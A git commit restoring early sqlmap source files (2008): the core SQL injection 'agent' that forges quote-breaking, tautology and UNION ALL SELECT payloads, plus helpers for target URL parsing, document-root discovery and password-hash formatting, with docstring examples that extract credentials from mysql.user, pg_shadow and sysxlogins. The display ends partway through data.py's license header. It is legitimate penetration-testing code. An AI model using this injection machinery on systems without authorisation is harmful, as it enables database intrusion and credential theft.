After the storm, a restore..

This commit is contained in:
Bernardo Damele
2008-10-15 15:38:22 +00:00
commit 8e3eb45510
78 changed files with 21360 additions and 0 deletions

25
lib/core/__init__.py Normal file
View File

@@ -0,0 +1,25 @@
#!/usr/bin/env python
"""
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

385
lib/core/agent.py Normal file
View File

@@ -0,0 +1,385 @@
#!/usr/bin/env python
"""
$Id: agent.py 357 2008-09-21 18:52:16Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedDBMSException
class Agent:
"""
This class defines the SQL agent methods.
"""
def __init__(self):
temp.delimiter = randomStr(6)
temp.start = randomStr(6)
temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
retValue = ""
# After identifing the injectable parameter
if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter,
kb.injParameter + newValue)
elif kb.injParameter:
paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s" % (kb.injParameter, value + newValue))
# Before identifing the injectable parameter
elif parameter == "User-Agent":
retValue = value.replace(value, newValue)
else:
paramString = conf.parameters[place]
retValue = paramString.replace("%s=%s" % (parameter, value),
"%s=%s" % (parameter, newValue))
return retValue
def prefixQuery(self, string):
"""
This method defines how the input string has to be escaped
to perform the injection depending on the injection type
identified as valid
"""
query = ""
if kb.injType == "numeric":
pass
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
elif kb.injType in ( "stringdouble", "likedouble" ):
query = "\""
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis != None:
query += "%s " % (")" * kb.parenthesis)
query += string
return query
def postfixQuery(self, string, comment=None):
"""
This method appends the DBMS comment to the
SQL injection request
"""
randInt = randomInt()
randStr = randomStr()
if comment:
string += "%s" % comment
if kb.parenthesis != None:
string += " AND %s" % ("(" * kb.parenthesis)
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if kb.injType == "numeric":
string += "%d=%d" % (randInt, randInt)
elif kb.injType == "stringsingle":
string += "'%s'='%s" % (randStr, randStr)
elif kb.injType == "likesingle":
string += "'%s' LIKE '%s" % (randStr, randStr)
elif kb.injType == "stringdouble":
string += "\"%s\"=\"%s" % (randStr, randStr)
elif kb.injType == "likedouble":
string += "\"%s\" LIKE \"%s" % (randStr, randStr)
else:
raise sqlmapNoneDataException, "unsupported injection type"
return string
def nullAndCastField(self, field):
"""
Take in input a field string and return its processed nulled and
casted field string.
Examples:
MySQL input: VERSION()
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
MySQL scope: VERSION()
PostgreSQL input: VERSION()
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
PostgreSQL scope: VERSION()
Oracle input: banner
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
Microsoft SQL Server input: @@VERSION
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: @@VERSION
@param field: field string to be processed
@type field: C{str}
@return: field string nulled and casted
@rtype: C{str}
"""
nulledCastedField = queries[kb.dbms].cast % field
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
return nulledCastedField
def nullCastConcatFields(self, fields):
"""
Take in input a sequence of fields string and return its processed
nulled, casted and concatenated fields string.
Examples:
MySQL input: user,password
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
MySQL scope: SELECT user, password FROM mysql.user
PostgreSQL input: usename,passwd
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
Oracle input: COLUMN_NAME,DATA_TYPE
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
@param fields: fields string to be processed
@type fields: C{str}
@return: fields string nulled, casted and concatened
@rtype: C{str}
"""
if not kb.dbmsDetected:
return fields
fields = fields.replace(", ", ",")
fieldsSplitted = fields.split(",")
dbmsDelimiter = queries[kb.dbms].delimiter
nulledCastedFields = []
for field in fieldsSplitted:
nulledCastedFields.append(self.nullAndCastField(field))
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
return nulledCastedConcatFields
def getFields(self, query):
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
fieldsNoSelect = query
if fieldsSelectTop:
fieldsToCast = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct:
fieldsToCast = fieldsSelectDistinct.groups()[0]
elif fieldsSelectFrom:
fieldsToCast = fieldsSelectFrom.groups()[0]
elif fieldsSelect:
fieldsToCast = fieldsSelect.groups()[0]
elif fieldsNoSelect:
fieldsToCast = fieldsNoSelect
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast
def concatQuery(self, query):
"""
Take in input a query string and return its processed nulled,
casted and concatenated query string.
Examples:
MySQL input: SELECT user, password FROM mysql.user
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
@param query: query string to be processed
@type query: C{str}
@return: query string nulled, casted and concatenated
@rtype: C{str}
"""
concatQuery = ""
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCast)
concatQuery = query.replace(fieldsToCast, castedFields, 1)
if kb.dbms == "MySQL":
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery += ",'%s')" % temp.stop
elif fieldsNoSelect:
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
elif kb.dbms in ( "Oracle", "PostgreSQL" ):
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery += "||'%s'" % temp.stop
if kb.dbms == "Oracle":
concatQuery += " FROM DUAL"
elif fieldsNoSelect:
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
if kb.dbms == "Oracle":
concatQuery += " FROM DUAL"
elif kb.dbms == "Microsoft SQL Server":
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery += "+'%s'" % temp.stop
elif fieldsNoSelect:
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
return concatQuery
def forgeInbandQuery(self, query, exprPosition=None):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param exprPosition: it is the NULL position where it is possible
to inject the query
@type exprPosition: C{int}
@return: UNION ALL SELECT query string forged
@rtype: C{str}
"""
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
if not exprPosition:
exprPosition = kb.unionPosition
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
for element in range(kb.unionCount):
if element > 0:
inbandQuery += ", "
if element == exprPosition:
if " FROM " in query:
conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[:conditionIndex]
else:
inbandQuery += "%s" % query
else:
inbandQuery += "NULL"
if " FROM " in query:
conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[conditionIndex:]
if kb.dbms == "Oracle":
if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL"
if " ORDER BY " in inbandQuery:
orderIndex = inbandQuery.index(" ORDER BY ")
inbandQuery = inbandQuery[:orderIndex]
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery
# SQL agent
agent = Agent()

549
lib/core/common.py Normal file
View File

@@ -0,0 +1,549 @@
#!/usr/bin/env python
"""
$Id: common.py 368 2008-09-30 00:09:59Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import random
import re
import string
import sys
import time
import urlparse
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException
from lib.core.data import paths
from lib.core.settings import VERSION_STRING
def paramToDict(place, parameters=None):
"""
Split the parameters into names and values, check if these parameters
are within the testable parameters and return in a dictionary.
@param place: where sqlmap has to work, can be GET, POST or Cookie.
@type place: C{str}
@param parameters: parameters string in the format for instance
'p1=v1&p2=v2' (GET and POST) or 'p1=v1;p2=v2' (Cookie).
@type parameters: C{str}
@return: the parameters in a dictionary.
@rtype: C{str}
"""
testableParameters = {}
if conf.parameters.has_key(place) and not parameters:
parameters = conf.parameters[place]
parameters = parameters.replace(", ", ",")
if place == "Cookie":
splitParams = parameters.split(";")
else:
splitParams = parameters.split("&")
for element in splitParams:
elem = element.split("=")
if len(elem) == 2:
parameter = elem[0]
condition = not conf.testParameter
condition |= parameter in conf.testParameter
if condition:
value = elem[1]
if value:
testableParameters[parameter] = value
if conf.testParameter and not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter)
if len(conf.testParameter) > 1:
warnMsg = "the testable parameters '%s' " % paramStr
warnMsg += "you provided are not into the %s" % place
else:
parameter = conf.testParameter[0]
warnMsg = "the testable parameter '%s' " % paramStr
warnMsg += "you provided is not into the %s" % place
if conf.googleDork:
warnMsg += ", skipping to next url"
logger.warn(warnMsg)
elif len(conf.testParameter) != len(testableParameters.keys()):
for parameter in conf.testParameter:
if not testableParameters.has_key(parameter):
warnMsg = "the testable parameter '%s' " % parameter
warnMsg += "you provided is not into the %s" % place
logger.warn(warnMsg)
return testableParameters
def formatFingerprint(versions=None):
"""
This function format the back-end DBMS fingerprint value and return its
values formatted as a human readable string.
@return: detected back-end DBMS based upon fingerprint techniques.
@rtype: C{str}
"""
if not versions:
versions = kb.dbmsVersion
if isinstance(versions, str):
return "%s %s" % (kb.dbms, versions)
elif isinstance(versions, (list, set, tuple)):
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
def getHtmlErrorFp():
"""
This function parses the knowledge base htmlFp list and return its
values formatted as a human readable string.
@return: list of possible back-end DBMS based upon error messages
parsing.
@rtype: C{str}
"""
htmlParsed = ""
if not kb.htmlFp:
return None
if len(kb.htmlFp) == 1:
htmlVer = kb.htmlFp[0]
htmlParsed = htmlVer
elif len(kb.htmlFp) > 1:
htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp])
return htmlParsed
def getDocRoot():
"""
This method returns the web application document root based on the
detected absolute files paths in the knowledge base.
"""
docRoot = None
if kb.absFilePaths:
logMsg = "retrieved the possible injectable "
logMsg += "file absolute system paths: "
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(logMsg)
else:
warnMsg = "unable to retrieve the injectable file "
warnMsg += "absolute system path"
logger.warn(warnMsg)
for absFilePath in kb.absFilePaths:
if conf.path in absFilePath:
index = absFilePath.index(conf.path)
docRoot = absFilePath[:index]
break
if docRoot:
logMsg = "retrieved the remote web server "
logMsg += "document root: '%s'" % docRoot
logger.info(logMsg)
else:
warnMsg = "unable to retrieve the remote web server "
warnMsg += "document root"
logger.warn(warnMsg)
return docRoot
def getDirectories():
"""
This method calls a function that returns the web application document
root and injectable file absolute system path.
@return: a set of paths (document root and absolute system path).
@rtype: C{set}
@todo: replace this function with a site crawling functionality.
"""
directories = set()
kb.docRoot = getDocRoot()
if kb.docRoot:
directories.add(kb.docRoot)
pagePath = re.search('^/(.*)/', conf.path)
if kb.docRoot and pagePath:
pagePath = pagePath.groups()[0]
directories.add("%s/%s" % (kb.docRoot, pagePath))
return directories
def filePathToString(filePath):
string = filePath.replace("/", "_").replace("\\", "_")
string = string.replace(" ", "_").replace(":", "_")
return string
def dataToStdout(data):
sys.stdout.write(data)
sys.stdout.flush()
def dataToSessionFile(data):
conf.sessionFP.write(data)
conf.sessionFP.flush()
def dataToDumpFile(dumpFile, data):
dumpFile.write(data)
dumpFile.flush()
def strToHex(string):
"""
@param string: string to be converted into its hexadecimal value.
@type string: C{str}
@return: the hexadecimal converted string.
@rtype: C{str}
"""
hexStr = ""
for character in string:
if character == "\n":
character = " "
hexChar = "%2x" % ord(character)
hexChar = hexChar.replace(" ", "0")
hexChar = hexChar.upper()
hexStr += hexChar
return hexStr
def fileToStr(fileName):
"""
@param fileName: file path to read the content and return as a no
NEWLINE string.
@type fileName: C{file.open}
@return: the file content as a string without TAB and NEWLINE.
@rtype: C{str}
"""
filePointer = open(fileName, "r")
fileText = filePointer.read()
fileText = fileText.replace(" ", "")
fileText = fileText.replace("\t", "")
fileText = fileText.replace("\r", "")
fileText = fileText.replace("\n", " ")
return fileText
def fileToHex(fileName):
"""
@param fileName: file path to read the content and return as an
hexadecimal string.
@type fileName: C{file.open}
@return: the file content as an hexadecimal string.
@rtype: C{str}
"""
fileText = fileToStr(fileName)
hexFile = strToHex(fileText)
return hexFile
def readInput(message, default=None):
"""
@param message: message to display on terminal.
@type message: C{str}
@return: a string read from keyboard as input.
@rtype: C{str}
"""
if conf.batch and default:
infoMsg = "%s%s" % (message, str(default))
logger.info(infoMsg)
debugMsg = "used the default behaviour, running in batch mode"
logger.debug(debugMsg)
data = default
else:
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
return data
def randomRange(start=0, stop=1000):
"""
@param start: starting number.
@type start: C{int}
@param stop: last number.
@type stop: C{int}
@return: a random number within the range.
@rtype: C{int}
"""
return int(random.randint(start, stop))
def randomInt(length=4):
"""
@param length: length of the random string.
@type length: C{int}
@return: a random string of digits.
@rtype: C{str}
"""
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
def randomStr(length=5):
"""
@param length: length of the random string.
@type length: C{int}
@return: a random string of characters.
@rtype: C{str}
"""
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
def sanitizeStr(string):
"""
@param string: string to sanitize: cast to str datatype and replace
newlines with one space and strip carriage returns.
@type string: C{str}
@return: sanitized string
@rtype: C{str}
"""
cleanString = str(string)
cleanString = cleanString.replace("\n", " ").replace("\r", "")
return cleanString
def checkFile(filename):
"""
@param filename: filename to check if it exists.
@type filename: C{str}
"""
if not os.path.exists(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename
def replaceNewlineTabs(string):
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString
def banner():
"""
This function prints sqlmap banner with its version
"""
print """
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
""" % VERSION_STRING
def parsePasswordHash(password):
blank = " " * 8
if not password or password == " ":
password = "NULL"
if kb.dbms == "Microsoft SQL Server" and password != "NULL":
hexPassword = password
password = "%s\n" % hexPassword
password += "%sheader: %s\n" % (blank, hexPassword[:6])
password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
if kb.dbmsVersion[0] not in ( "2005", "2008" ):
password += "%suppercase: %s" % (blank, hexPassword[54:])
return password
def cleanQuery(query):
upperQuery = query.replace("select ", "SELECT ")
upperQuery = upperQuery.replace(" from ", " FROM ")
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
return upperQuery
def setPaths():
# sqlmap paths
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
# sqlmap files
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
def weAreFrozen():
"""
Returns whether we are frozen via py2exe.
This will affect how we find out where we are located.
Reference: http://www.py2exe.org/index.cgi/WhereAmI
"""
return hasattr(sys, "frozen")
def parseTargetUrl():
"""
Parse target url and set some attributes into the configuration
singleton.
"""
if not conf.url:
return
if not re.search("^http[s]*://", conf.url):
if ":443/" in conf.url:
conf.url = "https://" + conf.url
else:
conf.url = "http://" + conf.url
__urlSplit = urlparse.urlsplit(conf.url)
__hostnamePort = __urlSplit[1].split(":")
conf.scheme = __urlSplit[0]
conf.path = __urlSplit[2]
conf.hostname = __hostnamePort[0]
if len(__hostnamePort) == 2:
conf.port = int(__hostnamePort[1])
elif conf.scheme == "https":
conf.port = 443
else:
conf.port = 80
if __urlSplit[3]:
conf.parameters["GET"] = __urlSplit[3]
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess
# the SQL query string (expression)
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I)
if asterisk:
infoMsg = "you did not provide the fields in your query. "
infoMsg += "sqlmap will retrieve the column names itself"
logger.info(infoMsg)
conf.db = asterisk.group(1)
conf.tbl = asterisk.group(2)
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
columns = columnsDict[conf.db][conf.tbl].keys()
columns.sort()
columnsStr = ", ".join([column for column in columns])
expression = expression.replace("*", columnsStr, 1)
infoMsg = "the query with column names is: "
infoMsg += "%s" % expression
logger.info(infoMsg)
return expression
def getRange(count, dump=False):
count = int(count)
indexRange = None
limitStart = 1
limitStop = count
if dump:
if isinstance(conf.limitStop, int) and conf.limitStop < count:
limitStop = conf.limitStop
if isinstance(conf.limitStart, int) and conf.limitStart <= limitStop:
limitStart = conf.limitStart
# TODO: also for Microsoft SQL Server in getColumns method?
if kb.dbms == "Oracle":
indexRange = range(limitStart, limitStop + 1)
else:
indexRange = range(limitStart - 1, limitStop)
return indexRange

82
lib/core/convert.py Normal file
View File

@@ -0,0 +1,82 @@
#!/usr/bin/env python
"""
$Id: convert.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import md5
import sha
import struct
import urllib
def base64decode(string):
return string.decode("base64")
def base64encode(string):
return string.encode("base64")[:-1]
def hexdecode(string):
string = string.lower()
if string.startswith("0x"):
string = string[2:]
return string.decode("hex")
def hexencode(string):
return string.encode("hex")
def md5hash(string):
return md5.new(string).hexdigest()
def orddecode(string):
packedString = struct.pack("!"+"I" * len(string), *string)
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
def ordencode(string):
return tuple([ord(char) for char in string])
def sha1hash(string):
return sha.new(string).hexdigest()
def urldecode(string):
if not string:
return
return urllib.unquote_plus(string)
def urlencode(string, safe=":/?%&="):
if not string:
return
return urllib.quote(string, safe)

48
lib/core/data.py Normal file
View File

@@ -0,0 +1,48 @@
#!/usr/bin/env python
"""
$Id: data.py 247 2008-07-19 23:07:26Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
